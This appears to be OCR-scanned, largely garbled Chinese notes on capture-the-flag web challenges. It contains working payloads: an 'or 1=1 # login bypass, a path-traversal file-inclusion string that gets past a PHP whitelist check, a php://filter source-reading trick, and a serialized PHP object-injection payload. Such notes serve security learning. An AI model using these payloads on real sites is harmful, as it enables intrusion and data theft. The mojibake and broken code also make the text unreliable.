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You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘117 at line 1
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sql="select * from user where username=" ‘and password=""
sql="select * from user where username="1"'or 1=1 # ‘and password=""’



PHP3C 5

{!DOCTYPE html>
¢html lang="en”>
<head>
{meta charset="UTF-8">
{meta name="viewport” content="width=device-width, initial-scale=1.0">
{meta http—equiv="X-UA-Compatible” content="ie=edge”>
(title>Document</title>
{/head>
<bodv
{!—source. php—>

<br><{img src="https://i.loli.net/2018/11/01/5bdb0d93dc794. jpg” /></body>
</html>
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if (! empty($_REQUEST[ file'])
&& is_string($_REQUEST[ file'])
&& emmm: :checkFile($ REQUEST[ file'])

include $ REQUEST[ file'];
exit;



class emmm
{ public static function checkFile(&$page)
{
YVASE - VIES
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//isset () FIWAE TR His_string() AW E RS2 FrFE &&H T4 5 AMEE VA AT 1 51 {E
if (! isset($page) || !'is_string($page)) {
echo "you can't see it A";
return false;
b
/AR R BB R ULHE B 44 K $whitelist WA WHAT R
if (in_array($page, $whitelist)) {

return true;

)
/7 E S R (R $pageMIEA 2 UM 2 Z BT FEIF 45 5 )
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//iR[I$page.? B2 5 LI — A E

)§

/15 = s AR A 2 R HC F 4 S5 R whitelist WA MIHAT &
if (in_array($_page, $whitelist)) {
return true;
¥
//urlx}$pagefitis
$_page = urldecode($page);

/38 R A S 1 s (W R $page B A 2 WA 2 2 AT I A AR )
$_page = mb_substr(
$_page,
9,
mb_strpos($_page . '?', '?')
)5
/15 = UL R A & TR ULEE 4 7R $whitelist WA MHAAT R
if (in_array($_page, $whitelist)) {
return true;
¥
echo "you can't see it";
return false;

mb_strpos (haystack ,needle )iRI[B[EEFRMFRFRLER —ADFRFE i OB B
// haystack: ZHEAGE AT
// needle: ZHE[FERFH

mb_substr(str, start, length) EEUR[EFRHK—&E5 .
//str FH. MNiZ string W%~HlJ‘r%‘4u

//start W, RUEETRH AL
//length HJik. KN ER A7 PFW KEE. 2Ry

/source.php?file=hint.php?../../../../../ffffllllaaaagggg
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Qs HTML + £ VinEEm thov
<IDOCTYPE html> TEL O
<html> (E3 }

¥ <head> (= </head>

in"> (i< /div>
4hd4-b273-5120012c8230)

<!--%e '1;

L BT SnToT
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</body>

» <div id="saladict-saladbowl-root” class="saladict-div saladict-external®s (= </div>
</html>
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php At php:/ffileter ?file=php://filter/convert.base64-encode/resource=
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onclick="return false” href="Secret. php” >4 H <{/a>!
HH R 8 F burp 2547 T AR B3 A S0
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project opti
Site map Scope Issue definitions
‘ilter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders
@ httpi//noded buuoj.cn:28288 Contents
[/
E‘.Secret.php Host Method URL Params Stat.. Length  MIME type
r_[:- assets http://noded buuoj.cn:.. GET / 200 4259 HTML Sycl
http://noded buuoj.cn:.. GET JSecret.php 200 2591 HTML Sycs
http://noded buuoj.cn:.. GET Jassets/css/images/ar... 200 66T HMIL
http://noded buuoj.cn:.. GET Jassets/fjsfie/htmlisshi... 200 2643 script
http://noded buuoj.cn:.. GET Jassets/js/ie/respond.... 200 4855 script
http://node4 buuoj.cn:.. GET Jassetsfjs/jquery.min.js 200 96224  script
http://noded buuoj.cn:.. GET Jassets/js/jquery.scroll... 200 2480 script
http://noded buuoj.cn:.. GET Jassets/js/jquery.scroll... 200 1098 script
http://noded buuoj.cn:.. GET Jassetsfjs/main js 200 2405 D) Nsetimmercy ]z

FHARME S Ihttp i 3Rk Sk~ BRI AT

https://blog.csdn.net/qq_45163122/article/details/105905864
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url+ ?select=0:4:"Name":3:{s:14: "%00Name%00username" ;s:5: "admin";s:14: "%00Name%@0password";i:100;}

phpJ FF5I4L2% 3] https:/iblog.csdn.net/weixin_42751456/article/details/88758908
geil 2% . https://blog.csdn.net/weixin_44077544/article/details/103542260
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2% hitps://blog.csdn.net/weixin_45642610/article/details/112519061

SSTIR %% 25 i AR 7 E N\ (Server-Side Template Injection): hitps://blog.csdn.net/zz_Caleb/article/details/96480967

hashlib

hashlib.md5

update encode
hexdigest
hashlib.md5

update sl).encode

hexdigest
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md5(string,raw)
md5 A AeAb F A2
https://blog.csdn.net/RABCD XB/article/details/113732210
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exif_imagetype()
(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)
exif_imagetype — HJWi—/~EIZII2EH

filename - - Bk £ BG4
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